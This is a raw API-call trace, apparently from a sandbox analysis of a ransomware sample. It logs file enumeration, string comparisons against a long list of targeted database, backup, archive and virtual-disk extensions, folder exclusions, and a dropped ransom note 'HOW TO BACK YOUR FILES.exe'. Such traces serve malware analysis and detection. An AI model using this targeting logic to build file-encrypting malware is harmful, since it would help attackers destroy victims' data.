	[0052.933] lstrlenW (lpString="cma") returned 3
	[0052.933] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0052.933] lstrlenW (lpString="cpd") returned 3
	[0052.933] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0052.933] lstrlenW (lpString="dacpac") returned 6
	[0052.933] lstrcmpiW (lpString1="db.dll", lpString2="dacpac") returned 1
	[0052.933] lstrlenW (lpString="dad") returned 3
	[0052.933] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0052.933] lstrlenW (lpString="dadiagrams") returned 10
	[0052.933] lstrlenW (lpString="daschema") returned 8
	[0052.933] lstrcmpiW (lpString1="dodb.dll", lpString2="daschema") returned 1
	[0052.933] lstrlenW (lpString="db-journal") returned 10
	[0052.933] lstrlenW (lpString="db-shm") returned 6
	[0052.933] lstrcmpiW (lpString1="db.dll", lpString2="db-shm") returned -1
	[0052.933] lstrlenW (lpString="db-wal") returned 6
	[0052.933] lstrcmpiW (lpString1="db.dll", lpString2="db-wal") returned -1
	[0052.933] lstrlenW (lpString="dbc") returned 3
	[0052.933] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0052.933] lstrlenW (lpString="dbs") returned 3
	[0052.933] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0052.933] lstrlenW (lpString="dbt") returned 3
	[0052.933] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0052.933] lstrlenW (lpString="dbv") returned 3
	[0052.933] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0052.933] lstrlenW (lpString="dbx") returned 3
	[0052.933] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0052.933] lstrlenW (lpString="dcb") returned 3
	[0052.933] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0052.933] lstrlenW (lpString="dct") returned 3
	[0052.933] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0052.933] lstrlenW (lpString="dcx") returned 3
	[0052.933] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0052.934] lstrlenW (lpString="ddl") returned 3
	[0052.934] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0052.934] lstrlenW (lpString="dlis") returned 4
	[0052.934] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1
	[0052.934] lstrlenW (lpString="dp1") returned 3
	[0052.934] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0052.934] lstrlenW (lpString="dqy") returned 3
	[0052.934] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0052.934] lstrlenW (lpString="dsk") returned 3
	[0052.934] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0052.934] lstrlenW (lpString="dsn") returned 3
	[0052.934] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0052.934] lstrlenW (lpString="dtsx") returned 4
	[0052.934] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1
	[0052.934] lstrlenW (lpString="dxl") returned 3
	[0052.934] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0052.934] lstrlenW (lpString="eco") returned 3
	[0052.934] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0052.934] lstrlenW (lpString="ecx") returned 3
	[0052.934] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0052.934] lstrlenW (lpString="edb") returned 3
	[0052.934] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0052.934] lstrlenW (lpString="epim") returned 4
	[0052.934] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1
	[0052.934] lstrlenW (lpString="fcd") returned 3
	[0052.934] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0052.934] lstrlenW (lpString="fdb") returned 3
	[0052.934] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0052.934] lstrlenW (lpString="fic") returned 3
	[0052.934] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0052.934] lstrlenW (lpString="flexolibrary") returned 12
	[0052.934] lstrlenW (lpString="fm5") returned 3
	[0052.934] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0052.934] lstrlenW (lpString="fmp") returned 3
	[0052.934] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0052.934] lstrlenW (lpString="fmp12") returned 5
	[0052.934] lstrcmpiW (lpString1="b.dll", lpString2="fmp12") returned -1
	[0052.934] lstrlenW (lpString="fmpsl") returned 5
	[0052.935] lstrcmpiW (lpString1="b.dll", lpString2="fmpsl") returned -1
	[0052.935] lstrlenW (lpString="fol") returned 3
	[0052.935] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0052.935] lstrlenW (lpString="fp3") returned 3
	[0052.935] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0052.935] lstrlenW (lpString="fp4") returned 3
	[0052.935] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0052.935] lstrlenW (lpString="fp5") returned 3
	[0052.935] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0052.935] lstrlenW (lpString="fp7") returned 3
	[0052.935] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0052.935] lstrlenW (lpString="fpt") returned 3
	[0052.935] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0052.935] lstrlenW (lpString="frm") returned 3
	[0052.935] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0052.935] lstrlenW (lpString="gdb") returned 3
	[0052.935] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0052.935] lstrlenW (lpString="gdb") returned 3
	[0052.935] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0052.935] lstrlenW (lpString="grdb") returned 4
	[0052.935] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1
	[0052.935] lstrlenW (lpString="gwi") returned 3
	[0052.935] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0052.935] lstrlenW (lpString="hdb") returned 3
	[0052.935] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0052.935] lstrlenW (lpString="his") returned 3
	[0052.935] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0052.935] lstrlenW (lpString="ib") returned 2
	[0052.935] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0052.935] lstrlenW (lpString="idb") returned 3
	[0052.935] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0052.935] lstrlenW (lpString="ihx") returned 3
	[0052.935] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0052.935] lstrlenW (lpString="itdb") returned 4
	[0052.935] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1
	[0052.935] lstrlenW (lpString="itw") returned 3
	[0052.935] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0052.935] lstrlenW (lpString="jet") returned 3
	[0052.936] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0052.936] lstrlenW (lpString="jtx") returned 3
	[0052.936] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0052.936] lstrlenW (lpString="kdb") returned 3
	[0052.936] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0052.936] lstrlenW (lpString="kexi") returned 4
	[0052.936] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1
	[0052.936] lstrlenW (lpString="kexic") returned 5
	[0052.936] lstrcmpiW (lpString1="b.dll", lpString2="kexic") returned -1
	[0052.936] lstrlenW (lpString="kexis") returned 5
	[0052.936] lstrcmpiW (lpString1="b.dll", lpString2="kexis") returned -1
	[0052.936] lstrlenW (lpString="lgc") returned 3
	[0052.936] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0052.936] lstrlenW (lpString="lwx") returned 3
	[0052.936] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0052.936] lstrlenW (lpString="maf") returned 3
	[0052.936] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0052.936] lstrlenW (lpString="maq") returned 3
	[0052.936] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0052.936] lstrlenW (lpString="mar") returned 3
	[0052.936] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0052.936] lstrlenW (lpString="marshal") returned 7
	[0052.936] lstrcmpiW (lpString1="odb.dll", lpString2="marshal") returned 1
	[0052.936] lstrlenW (lpString="mas") returned 3
	[0052.936] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0052.936] lstrlenW (lpString="mav") returned 3
	[0052.936] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0052.936] lstrlenW (lpString="maw") returned 3
	[0052.936] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0052.936] lstrlenW (lpString="mdbhtml") returned 7
	[0052.936] lstrcmpiW (lpString1="odb.dll", lpString2="mdbhtml") returned 1
	[0052.936] lstrlenW (lpString="mdn") returned 3
	[0052.936] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0052.936] lstrlenW (lpString="mdt") returned 3
	[0052.936] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0052.936] lstrlenW (lpString="mfd") returned 3
	[0052.936] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0052.936] lstrlenW (lpString="mpd") returned 3
	[0052.937] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0052.937] lstrlenW (lpString="mrg") returned 3
	[0052.937] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0052.937] lstrlenW (lpString="mud") returned 3
	[0052.937] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0052.937] lstrlenW (lpString="mwb") returned 3
	[0052.937] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0052.937] lstrlenW (lpString="myd") returned 3
	[0052.937] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0052.937] lstrlenW (lpString="ndf") returned 3
	[0052.937] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0052.937] lstrlenW (lpString="nnt") returned 3
	[0052.937] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0052.937] lstrlenW (lpString="nrmlib") returned 6
	[0052.937] lstrcmpiW (lpString1="db.dll", lpString2="nrmlib") returned -1
	[0052.937] lstrlenW (lpString="ns2") returned 3
	[0052.937] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0052.937] lstrlenW (lpString="ns3") returned 3
	[0052.937] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0052.937] lstrlenW (lpString="ns4") returned 3
	[0052.937] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0052.937] lstrlenW (lpString="nsf") returned 3
	[0052.937] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0052.937] lstrlenW (lpString="nv") returned 2
	[0052.937] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0052.937] lstrlenW (lpString="nv2") returned 3
	[0052.937] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0052.937] lstrlenW (lpString="nwdb") returned 4
	[0052.937] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1
	[0052.937] lstrlenW (lpString="nyf") returned 3
	[0052.937] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0052.937] lstrlenW (lpString="odb") returned 3
	[0052.937] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0052.937] lstrlenW (lpString="odb") returned 3
	[0052.937] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0052.937] lstrlenW (lpString="oqy") returned 3
	[0052.937] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0052.938] lstrlenW (lpString="ora") returned 3
	[0052.938] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0052.938] lstrlenW (lpString="orx") returned 3
	[0052.938] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0052.938] lstrlenW (lpString="owc") returned 3
	[0052.938] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0052.938] lstrlenW (lpString="p96") returned 3
	[0052.938] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0052.938] lstrlenW (lpString="p97") returned 3
	[0052.938] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0052.938] lstrlenW (lpString="pan") returned 3
	[0052.938] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0052.938] lstrlenW (lpString="pdb") returned 3
	[0052.938] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0052.938] lstrlenW (lpString="pdm") returned 3
	[0052.938] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0052.938] lstrlenW (lpString="pnz") returned 3
	[0052.938] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0052.938] lstrlenW (lpString="qry") returned 3
	[0052.938] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0052.938] lstrlenW (lpString="qvd") returned 3
	[0052.938] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0052.938] lstrlenW (lpString="rbf") returned 3
	[0052.938] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0052.938] lstrlenW (lpString="rctd") returned 4
	[0052.938] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1
	[0052.938] lstrlenW (lpString="rod") returned 3
	[0052.938] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0052.938] lstrlenW (lpString="rodx") returned 4
	[0052.938] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1
	[0052.938] lstrlenW (lpString="rpd") returned 3
	[0052.938] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0052.938] lstrlenW (lpString="rsd") returned 3
	[0052.938] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0052.938] lstrlenW (lpString="sas7bdat") returned 8
	[0052.938] lstrcmpiW (lpString1="dodb.dll", lpString2="sas7bdat") returned -1
	[0052.938] lstrlenW (lpString="sbf") returned 3
	[0052.938] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0052.939] lstrlenW (lpString="scx") returned 3
	[0052.939] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0052.939] lstrlenW (lpString="sdb") returned 3
	[0052.939] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0052.939] lstrlenW (lpString="sdc") returned 3
	[0052.939] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0052.939] lstrlenW (lpString="sdf") returned 3
	[0052.939] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0052.939] lstrlenW (lpString="sis") returned 3
	[0052.939] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0052.939] lstrlenW (lpString="spq") returned 3
	[0052.939] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0052.939] lstrlenW (lpString="te") returned 2
	[0052.939] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0052.939] lstrlenW (lpString="teacher") returned 7
	[0052.939] lstrcmpiW (lpString1="odb.dll", lpString2="teacher") returned -1
	[0052.939] lstrlenW (lpString="tmd") returned 3
	[0052.939] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0052.939] lstrlenW (lpString="tps") returned 3
	[0052.939] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0052.939] lstrlenW (lpString="trc") returned 3
	[0052.939] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0052.939] lstrlenW (lpString="trc") returned 3
	[0052.939] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0052.939] lstrlenW (lpString="trm") returned 3
	[0052.939] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0052.939] lstrlenW (lpString="udb") returned 3
	[0052.939] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0052.939] lstrlenW (lpString="udl") returned 3
	[0052.939] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0052.939] lstrlenW (lpString="usr") returned 3
	[0052.939] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0052.939] lstrlenW (lpString="v12") returned 3
	[0052.939] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0052.939] lstrlenW (lpString="vis") returned 3
	[0052.939] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0052.939] lstrlenW (lpString="vpd") returned 3
	[0052.939] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0052.940] lstrlenW (lpString="vvv") returned 3
	[0052.940] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0052.940] lstrlenW (lpString="wdb") returned 3
	[0052.940] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0052.940] lstrlenW (lpString="wmdb") returned 4
	[0052.940] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1
	[0052.940] lstrlenW (lpString="wrk") returned 3
	[0052.940] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0052.940] lstrlenW (lpString="xdb") returned 3
	[0052.940] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0052.940] lstrlenW (lpString="xld") returned 3
	[0052.940] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0052.940] lstrlenW (lpString="xmlff") returned 5
	[0052.940] lstrcmpiW (lpString1="b.dll", lpString2="xmlff") returned -1
	[0052.940] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x379e2bf0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x379e2bf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0052.940] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0052.940] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c210700, ftCreationTime.dwHighDateTime=0x1c2a174, ftLastAccessTime.dwLowDateTime=0x523e72d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c210700, ftLastWriteTime.dwHighDateTime=0x1c2a174, nFileSizeHigh=0x0, nFileSizeLow=0x7a3000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft.mshtml.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0052.940] lstrcmpiW (lpString1="Microsoft.mshtml.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.940] lstrcmpiW (lpString1="Microsoft.mshtml.dll", lpString2="Apollon865.txt.exe") returned 1
	[0052.940] lstrcmpiW (lpString1="Microsoft.mshtml.dll", lpString2=".") returned 1
	[0052.940] lstrcmpiW (lpString1="Microsoft.mshtml.dll", lpString2="..") returned 1
	[0052.940] lstrcmpiW (lpString1="Microsoft.mshtml.dll", lpString2="windows") returned -1
	[0052.940] lstrcmpiW (lpString1="Microsoft.mshtml.dll", lpString2="bootmgr") returned 1
	[0052.940] lstrcmpiW (lpString1="Microsoft.mshtml.dll", lpString2="temp") returned -1
	[0052.940] lstrcmpiW (lpString1="Microsoft.mshtml.dll", lpString2="pagefile.sys") returned -1
	[0052.940] lstrcmpiW (lpString1="Microsoft.mshtml.dll", lpString2="boot") returned 1
	[0052.940] lstrcmpiW (lpString1="Microsoft.mshtml.dll", lpString2="ids.txt") returned 1
	[0052.940] lstrcmpiW (lpString1="Microsoft.mshtml.dll", lpString2="ntuser.dat") returned -1
	[0052.940] lstrcmpiW (lpString1="Microsoft.mshtml.dll", lpString2="perflogs") returned -1
	[0052.940] lstrcmpiW (lpString1="Microsoft.mshtml.dll", lpString2="MSBuild") returned -1
	[0052.940] lstrlenW (lpString="Microsoft.mshtml.dll") returned 20
	[0052.940] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\adodb.dll") returned 73
	[0052.940] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="Microsoft.mshtml.dll" | out: lpString1="Microsoft.mshtml.dll") returned="Microsoft.mshtml.dll"
	[0052.940] lstrlenW (lpString="Microsoft.mshtml.dll") returned 20
	[0052.940] lstrlenW (lpString="Apollon865") returned 10
	[0052.940] lstrcmpiW (lpString1="mshtml.dll", lpString2="Apollon865") returned 1
	[0052.940] lstrlenW (lpString=".dll") returned 4
	[0052.941] lstrcmpiW (lpString1="Microsoft.mshtml.dll", lpString2=".dll") returned 1
	[0052.941] lstrlenW (lpString=".lnk") returned 4
	[0052.941] lstrcmpiW (lpString1="Microsoft.mshtml.dll", lpString2=".lnk") returned 1
	[0052.941] lstrlenW (lpString=".ini") returned 4
	[0052.941] lstrcmpiW (lpString1="Microsoft.mshtml.dll", lpString2=".ini") returned 1
	[0052.941] lstrlenW (lpString=".sys") returned 4
	[0052.941] lstrcmpiW (lpString1="Microsoft.mshtml.dll", lpString2=".sys") returned 1
	[0052.941] lstrlenW (lpString="Microsoft.mshtml.dll") returned 20
	[0052.941] lstrlenW (lpString="bak") returned 3
	[0052.941] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0052.941] lstrlenW (lpString="ba_") returned 3
	[0052.941] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0052.941] lstrlenW (lpString="dbb") returned 3
	[0052.941] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0052.941] lstrlenW (lpString="vmdk") returned 4
	[0052.941] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1
	[0052.941] lstrlenW (lpString="rar") returned 3
	[0052.941] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0052.941] lstrlenW (lpString="zip") returned 3
	[0052.941] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0052.941] lstrlenW (lpString="tgz") returned 3
	[0052.941] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0052.941] lstrlenW (lpString="vbox") returned 4
	[0052.941] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1
	[0052.941] lstrlenW (lpString="vdi") returned 3
	[0052.941] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0052.941] lstrlenW (lpString="vhd") returned 3
	[0052.941] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0052.941] lstrlenW (lpString="vhdx") returned 4
	[0052.941] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1
	[0052.941] lstrlenW (lpString="avhd") returned 4
	[0052.941] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1
	[0052.941] lstrlenW (lpString="db") returned 2
	[0052.941] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0052.941] lstrlenW (lpString="db2") returned 3
	[0052.941] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0052.941] lstrlenW (lpString="db3") returned 3
	[0052.941] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0052.942] lstrlenW (lpString="dbf") returned 3
	[0052.942] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0052.942] lstrlenW (lpString="mdf") returned 3
	[0052.942] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0052.942] lstrlenW (lpString="mdb") returned 3
	[0052.942] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0052.942] lstrlenW (lpString="sql") returned 3
	[0052.942] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0052.942] lstrlenW (lpString="sqlite") returned 6
	[0052.942] lstrcmpiW (lpString1="ml.dll", lpString2="sqlite") returned -1
	[0052.942] lstrlenW (lpString="sqlite3") returned 7
	[0052.942] lstrcmpiW (lpString1="tml.dll", lpString2="sqlite3") returned 1
	[0052.942] lstrlenW (lpString="sqlitedb") returned 8
	[0052.942] lstrcmpiW (lpString1="html.dll", lpString2="sqlitedb") returned -1
	[0052.942] lstrlenW (lpString="xml") returned 3
	[0052.942] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0052.942] lstrlenW (lpString="$er") returned 3
	[0052.942] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0052.942] lstrlenW (lpString="4dd") returned 3
	[0052.942] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0052.942] lstrlenW (lpString="4dl") returned 3
	[0052.942] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0052.942] lstrlenW (lpString="^^^") returned 3
	[0052.942] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0052.942] lstrlenW (lpString="abs") returned 3
	[0052.942] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0052.942] lstrlenW (lpString="abx") returned 3
	[0052.942] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0052.942] lstrlenW (lpString="accdb") returned 5
	[0052.942] lstrcmpiW (lpString1="l.dll", lpString2="accdb") returned 1
	[0052.942] lstrlenW (lpString="accdc") returned 5
	[0052.942] lstrcmpiW (lpString1="l.dll", lpString2="accdc") returned 1
	[0052.942] lstrlenW (lpString="accde") returned 5
	[0052.942] lstrcmpiW (lpString1="l.dll", lpString2="accde") returned 1
	[0052.942] lstrlenW (lpString="accdr") returned 5
	[0052.942] lstrcmpiW (lpString1="l.dll", lpString2="accdr") returned 1
	[0052.942] lstrlenW (lpString="accdt") returned 5
	[0052.942] lstrcmpiW (lpString1="l.dll", lpString2="accdt") returned 1
	[0052.943] lstrlenW (lpString="accdw") returned 5
	[0052.943] lstrcmpiW (lpString1="l.dll", lpString2="accdw") returned 1
	[0052.943] lstrlenW (lpString="accft") returned 5
	[0052.943] lstrcmpiW (lpString1="l.dll", lpString2="accft") returned 1
	[0052.943] lstrlenW (lpString="adb") returned 3
	[0052.943] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0052.943] lstrlenW (lpString="adb") returned 3
	[0052.943] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0052.943] lstrlenW (lpString="ade") returned 3
	[0052.943] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0052.943] lstrlenW (lpString="adf") returned 3
	[0052.943] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0052.943] lstrlenW (lpString="adn") returned 3
	[0052.943] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0052.943] lstrlenW (lpString="adp") returned 3
	[0052.943] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0052.943] lstrlenW (lpString="alf") returned 3
	[0052.943] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0052.943] lstrlenW (lpString="ask") returned 3
	[0052.943] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0052.943] lstrlenW (lpString="btr") returned 3
	[0052.943] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0052.943] lstrlenW (lpString="cat") returned 3
	[0052.943] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0052.943] lstrlenW (lpString="cdb") returned 3
	[0052.943] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0052.943] lstrlenW (lpString="ckp") returned 3
	[0052.943] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0052.943] lstrlenW (lpString="cma") returned 3
	[0052.943] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0052.943] lstrlenW (lpString="cpd") returned 3
	[0052.943] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0052.943] lstrlenW (lpString="dacpac") returned 6
	[0052.943] lstrcmpiW (lpString1="ml.dll", lpString2="dacpac") returned 1
	[0052.943] lstrlenW (lpString="dad") returned 3
	[0052.943] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0052.943] lstrlenW (lpString="dadiagrams") returned 10
	[0052.943] lstrcmpiW (lpString1="mshtml.dll", lpString2="dadiagrams") returned 1
	[0052.944] lstrlenW (lpString="daschema") returned 8
	[0052.944] lstrcmpiW (lpString1="html.dll", lpString2="daschema") returned 1
	[0052.944] lstrlenW (lpString="db-journal") returned 10
	[0052.944] lstrcmpiW (lpString1="mshtml.dll", lpString2="db-journal") returned 1
	[0052.944] lstrlenW (lpString="db-shm") returned 6
	[0052.944] lstrcmpiW (lpString1="ml.dll", lpString2="db-shm") returned 1
	[0052.944] lstrlenW (lpString="db-wal") returned 6
	[0052.944] lstrcmpiW (lpString1="ml.dll", lpString2="db-wal") returned 1
	[0052.944] lstrlenW (lpString="dbc") returned 3
	[0052.944] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0052.944] lstrlenW (lpString="dbs") returned 3
	[0052.944] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0052.944] lstrlenW (lpString="dbt") returned 3
	[0052.944] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0052.944] lstrlenW (lpString="dbv") returned 3
	[0052.944] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0052.944] lstrlenW (lpString="dbx") returned 3
	[0052.944] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0052.944] lstrlenW (lpString="dcb") returned 3
